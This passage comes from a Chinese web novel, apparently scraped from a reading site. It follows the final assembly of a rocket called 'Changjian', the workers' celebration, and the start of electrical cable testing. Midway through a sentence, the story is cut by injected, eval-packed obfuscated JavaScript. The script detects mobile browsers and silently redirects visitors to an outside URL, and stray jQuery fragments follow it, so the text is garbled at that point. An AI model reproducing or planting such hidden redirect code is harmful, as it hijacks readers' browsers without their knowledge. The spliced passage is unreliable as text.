第二个。第三个。第四个。
每对接一个舱段，车间里的气氛就紧张一分。所有人的心跳，都随着舱段的落下而加快。
终于，轮到了最后一个舱段——头锥。
这是整个弹体最尖的那一部分，它被吊车悬在半空，像一个即将加冕的王冠。
王总站在下面，仰着头，嘴唇抿成一条线，脸上没有一丝血色。
“放。”
“放——！！！”通讯兵舞动旗语。
头锥缓缓下降。
所有人的眼睛都盯着那个对接面。
一寸。
两寸。
三寸。
头锥停在离弹体一厘米的地方，然后——
归舱入库！
王总设计师快步走过去，蹲下身，趴在地上，用放大镜仔细检查着对接处。
他看了很久，久到所有人都开始忐忑不安。
“王总？”通讯兵的声音有些发颤。
王总设计师没回答。
他趴在那儿，一动不动。
整个车间彻底安静下来。所有人的目光锁在他的身上，等待着那个最终的答案。
足足过了一分钟。
王总设计师才慢慢站了起来。
他转过身，看着身后翘首以盼的众人。
他的脸上，有一种很奇怪的表情。像是笑，又像是哭。
“同志们。”他张开口，可惜声音沙哑，几乎**。
“同志们——”他又说了一遍，声音大了一些。
这回，所有人的肩膀都绷直了，心脏狂跳不止。
大家看着王总设计师的手，看着他指向的那枚已经完全合龙的弹体。
用尽全身力气，吐出两个字：
“成了。”
车间里安静了一瞬。
然后——
欢呼声炸开了。
所有人都在喊，都在叫，都在跳。
焊工师傅们扔掉焊枪，战士们一屁股坐在地上，吊车里的师傅，长长松了一口气，把身子扔进了靠背里。
设计师们互相捶打着肩膀，激动地抱在一起，白旅长、黄伟志、李工等众人，像是卸下千斤重担，不约而同地躺在了地板上。
刘司令站在人群里，先是拼命鼓掌。鼓着鼓着，忽然想到了什么，掉头去找钱教授。
还没有看到钱教授的身影，却先一步瞧见了甜甜。
甜甜被梁哲抱在怀里，探着小脑袋，看着那枚大大的“火箭”。
它现在和自己手上的玩具几乎一模一样，有尖尖的头锥，粗粗的身子，还有翘起的尾翼。
它从一堆零散的零件，变成了完整的模样，威风凛凛，气势雄壮。
“刘爷爷，”甜甜看到刘司令，高兴地冲他挥着小手，“我们能把它放到天上去吗？”
刘司令笑了笑，把孩子接到怀里。
“快了！”老司令指着这枚火箭，豪气干云，“等咱们通过总装测试，就把它射到天上去！”
“好棒啊好棒！！！**飞飞，把坏人都打跑！”甜甜激动地拍起手。
“对，把坏人都打跑，看谁还敢欺负咱们！”刘司令大笑起来。
甜甜从兜里掏出那个被她拆了装、装了拆的小模型，高高举起，对着那尊真正的钢铁巨兽。
小模型，大长剑。
一个在掌心，一个在天地间。
它们对视着，像一场跨越时空的交接。
“爸爸，”小姑娘忽然转过头，望向一旁梁哲，稚嫩的声音充满着缅怀的思念，“沈阿姨知道了，会不会很开心？”
梁哲没说话，只是含笑着，向甜甜点了点头。
凌晨四点，天边泛起了鱼肚白。
总装车间里渐渐安静下来。
累得东倒西歪的人们，陆续拖着疲惫的身躯离去，回去补那场迟到了太久的觉。
离开时，他们还频频回头，兴奋地议论着属于大夏自己的那柄“长剑”。
车间里，只剩下钱教授一人。
他独自面对着那枚“长剑”。它满身焊疤，满身油污，甚至有些丑陋，有些笨重。
但它立在那里。
完整地，倔强的，立在那里。
钱教授仰望着它，过往的岁月在脑海中走马灯般闪过。
鹰国课堂上的嘲讽，归国船舷的波涛，戈壁滩的漫天黄沙，第一张草图的凌乱，无数次失败的灰烬，还有……甜甜牵住他手时的温度，王总算盘的噼啪声，老张炉前的侧脸，李工缠着绷带的手，黄伟志握紧的药瓶……
所有熬过来的夜，所有没倒下的人，所有咬碎的牙，都融进了这尊钢铁里。
他看着它，忽然笑了，眼角却泛起湿意。
转过身，钱教授大步走向车间门口，走进了戈壁的晨曦里。
走出门口的那一刻，他停下了脚步，最后一次回头望去。
那枚“长剑”静静矗立在初升的朝阳下，被晨光镀上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224788|197367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一层金色的光晕，光芒万丈。
它很丑，但它活了。
它很重，但它站起来了。
它是无数大夏儿女的心血，是家国的底气，是东方大地上，即将刺破苍穹的锋芒。
总装完成，并不意味着**就可以立刻上天。
恰恰相反，真正的考验，现在才开始。
按照**研制的科学规律，总装之后还要进行一系列全弹综合测试，比如电气系统测试、分系统匹配性测试、全弹气密性检查、全弹振动特性测试以及模拟飞行测试等等。
这些测试，每一道都是“一票否决”的关口，任何一项结果不通过，**都要被推回车间，拆了重装，一切从零再来。
因此，在总装完成的第三天，测试小组开始进场，依次完成对“长剑”的验收测试工作。
最先开始的，是电气系统测试。
林茹带着电缆组的八个人，人手一沓图纸和万用表，他们的任务，检查全弹电缆的连接是否正确、通信是否畅通。
电池组能否正常供电，电压是否稳定。
地面发出的指令，弹上设备能否准确接收。
弹上数据能否实时传回地面。
而要做到这些，唯一的办法，就是把四百多条电缆，逐条测一遍。
八名技术员带着助手，有人趴在弹体底下，有人爬上升降车，每测通一条线路，就在图纸上打个勾。
林茹趴在地上，脑袋钻到弹体底下，伸手够着那根编号“001”的红色电缆。
“万用表。”
助手小王立刻把表递过去。
林茹把表笔搭在电缆两端，盯着表盘上的指针。
一秒。
两秒。
三秒。
指针动了。
“001通。”林茹报出结果，小王在图纸上打了个勾。
林茹挪了挪位置，够向下一根电缆。
“002通。”
又一个勾。
一根，两根，十根，三十根。
林茹从弹体底下爬出来，汗水顺着额头往下滑，但她顾不上擦，接过小王递过来的水灌了一口，又趴到另一边。
“0037。”
她够向那根电缆，把表笔搭上去。
表盘上的指针没动。
林茹愣了一下。她把表笔重新搭了一遍。
还是没动。
“0037……”她的声音顿了一下，“不通。”